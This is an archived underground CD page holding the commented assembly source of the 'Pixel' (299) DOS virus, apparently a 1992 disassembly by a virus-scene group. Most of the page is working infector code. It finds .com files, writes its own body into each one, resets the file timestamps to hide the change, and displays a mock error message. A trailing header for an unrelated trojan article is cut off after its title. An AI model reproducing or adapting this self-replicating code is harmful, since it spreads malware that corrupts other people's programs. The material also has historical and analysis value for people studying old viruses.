home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / 0-9 / 299.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  6.0 KB  |  151 lines
  1.  
  2. ;*****************************************************************************
  3. ;
  4. ; Pixel - 299 virus
  5. ;
  6. ; Disassembled By Admiral Bailey [YAM '92]
  7. ;
  8. ; Notes: I dont know where the hell I got this one from but when I found it on
  9. ;        one of my disks it was named incorectly.  Some Amst shit but I looked
  10. ;        it up in the vsum and its named as Pixel so Il use that name.
  11. ;        Anyways its just a plain com infecting virus that displays a messege
  12. ;        when executed. Nothing big.
  13. ;
  14. ;*****************************************************************************
  15.  
  16. data_1e         equ     6Ch
  17. data_2e         equ     96h
  18. data_3e         equ     98h
  19. data_4e         equ     9Eh
  20. data_15e        equ     12Bh                    ;*
  21. data_16e        equ     12Dh                    ;*
  22.  
  23. seg_a           segment byte public
  24.                 assume  cs:seg_a, ds:seg_a
  25.  
  26.  
  27.                 org     100h
  28.  
  29. Pixel           proc    far
  30.  
  31. start:
  32.                 jmp     short begin
  33.                 dw      5649h
  34. data_7          db      0
  35. data_8          db      2Ah, 2Eh, 43h, 4Fh, 4Dh, 0      ; '*.com'
  36. data_10         dw      0, 8918h
  37. data_12         dw      0
  38.  
  39. begin:                                          ; loc_1:
  40.                 push    ax
  41.                 mov     ax,cs
  42.                 add     ax,1000h
  43.                 mov     es,ax
  44.                 inc     data_7
  45.                 mov     si,100h
  46.                 xor     di,di                   ; Zero register
  47.                 mov     cx,12Bh
  48.                 rep     movsb                   ; Mov [si] to es:[di]
  49.                 mov     dx,offset data_8        ; load the type of file to find
  50.                 mov     cx,6                    ; Im not sure what attrib
  51.                 mov     ah,4Eh                  ; Find first file
  52.                 int     21h                     ;
  53.  
  54.                 jc      quit                    ; if none found then...
  55. get_file:                                       ; loc_2
  56.                 mov     dx,data_4e              ; file name
  57.                 mov     ax,3D02h                ; open file
  58.                 int     21h
  59.  
  60.                 mov     bx,ax
  61.                 push    es
  62.                 pop     ds
  63.                 mov     dx,data_15e             ; buffer for read
  64.                 mov     cx,0FFFFh               ; number of bytes to read
  65.                 mov     ah,3Fh                  ; read file
  66.                 int     21h
  67.  
  68.                 add     ax,12Bh
  69.                 mov     cs:data_12,ax
  70.                 cmp     word ptr ds:data_16e,5649h ; probably comparing size
  71.                 je      not_this_file           ; of file
  72.                 xor     cx,cx                   ; Zero register
  73.                 mov     dx,cx
  74.                 mov     ax,4200h                ; move file pointer
  75.                 int     21h                     
  76.  
  77.                 jc      not_this_file           ; if error the quit this file
  78.                 xor     dx,dx                   ; Zero register
  79.                 mov     cx,cs:data_12
  80.                 mov     ah,40h                  ; write virus to file
  81.                 int     21h
  82.  
  83.                 mov     cx,cs:data_2e           ; old date
  84.                 mov     dx,cs:data_3e           ; new time
  85.                 mov     ax,5701h                ; set files date & time
  86.                 int     21h                     
  87.  
  88. not_this_file:                                  ; loc_3:
  89.                 mov     ah,3Eh                  ; close this file
  90.                 int     21h
  91.  
  92.                 push    cs
  93.                 pop     ds
  94.                 mov     ah,4Fh                  ; find another file
  95.                 int     21h                     
  96.                                                 
  97.                 jc      quit                    ; if none found quit
  98.                 jmp     short get_file          ; if found then infect
  99. quit:                                           ; loc_4
  100.                 cmp     data_7,5
  101.                 jb      loc_5                   ; Jump if below
  102.                 mov     ax,40h
  103.                 mov     ds,ax
  104.                 mov     ax,ds:data_1e
  105.                 push    cs
  106.                 pop     ds
  107.                 and     ax,1
  108.                 jz      loc_5                   ; Jump if zero
  109.                 mov     dx,offset data_13       ; gets the messege
  110.                 mov     ah,9                    ; display string
  111.                 int     21h
  112.  
  113.                 int     20h                     ; Quit program
  114.  
  115. data_13         db      'Program sick error:Call doctor o'  ; messege
  116.                 db      'r buy PIXEL for cure description'  ; displayed when
  117.                 db      0Ah, 0Dh, '$'                       ; run
  118. loc_5:
  119.                 mov     si,offset data_14
  120.                 mov     cx,22h
  121.                 xor     di,di                   ; Zero register
  122.                 rep     movsb                   ; Rep when cx >0 Mov [si] to es
  123.                 pop     bx
  124.                 mov     cs:data_10,0
  125.                 mov     word ptr cs:data_10+2,es
  126.                 jmp     dword ptr cs:data_10
  127.  
  128. data_14         db      1Eh                             ; cant figure this
  129.                 db       07h,0BEh, 2Bh, 02h,0BFh, 00h   ; part out...
  130.                 db       01h,0B9h,0FFh,0FFh, 2Bh,0CEh   ; probably infected
  131.                 db      0F3h,0A4h, 2Eh,0C7h, 06h, 00h   ; file before.
  132.                 db       01h, 00h, 01h, 2Eh, 8Ch, 1Eh
  133.                 db       02h, 01h, 8Bh,0C3h, 2Eh,0FFh
  134.                 db       2Eh, 00h, 01h,0CDh             ; this is an int 20h
  135.                 db      20h
  136.  
  137. Pixel           endp
  138.  
  139. seg_a           ends
  140.  
  141.                 end     start
  142.  
  143.  
  144. ─────────═════════>>> Article From Evolution #1 - YAM '92
  145.  
  146. Article Title: Thrasher Trojan Disassembly
  147. Author: Natas Kaupas
  148.  
  149.  
  150.  
  151.